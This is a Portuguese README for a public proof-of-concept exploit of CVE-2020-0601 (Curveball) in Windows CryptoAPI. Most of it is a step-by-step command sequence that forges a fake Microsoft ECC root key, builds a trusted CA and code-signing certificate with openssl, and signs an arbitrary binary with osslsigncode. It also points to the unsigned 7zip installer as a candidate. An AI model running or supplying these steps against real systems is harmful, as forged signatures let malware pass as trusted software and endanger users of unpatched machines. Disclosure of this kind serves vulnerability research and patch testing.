ioncodes/curveballPoC para CVE-2020-0601 - exploit CryptoAPI
Um PoC para CVE-2020-0601. Um post de blog detalhado pode ser encontrado aqui. Este exploit permite criar um certificado confiável falso abusando de como a CryptoAPI lida com certos parâmetros em certificados baseados em ECC.
Clone o repositório e abra-o no Visual Studio 2019. Mude para Release e compile-o. Você pode encontrar binários pré-compilados aqui.
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>
Note que o instalador do 7zip normalmente não é assinado!
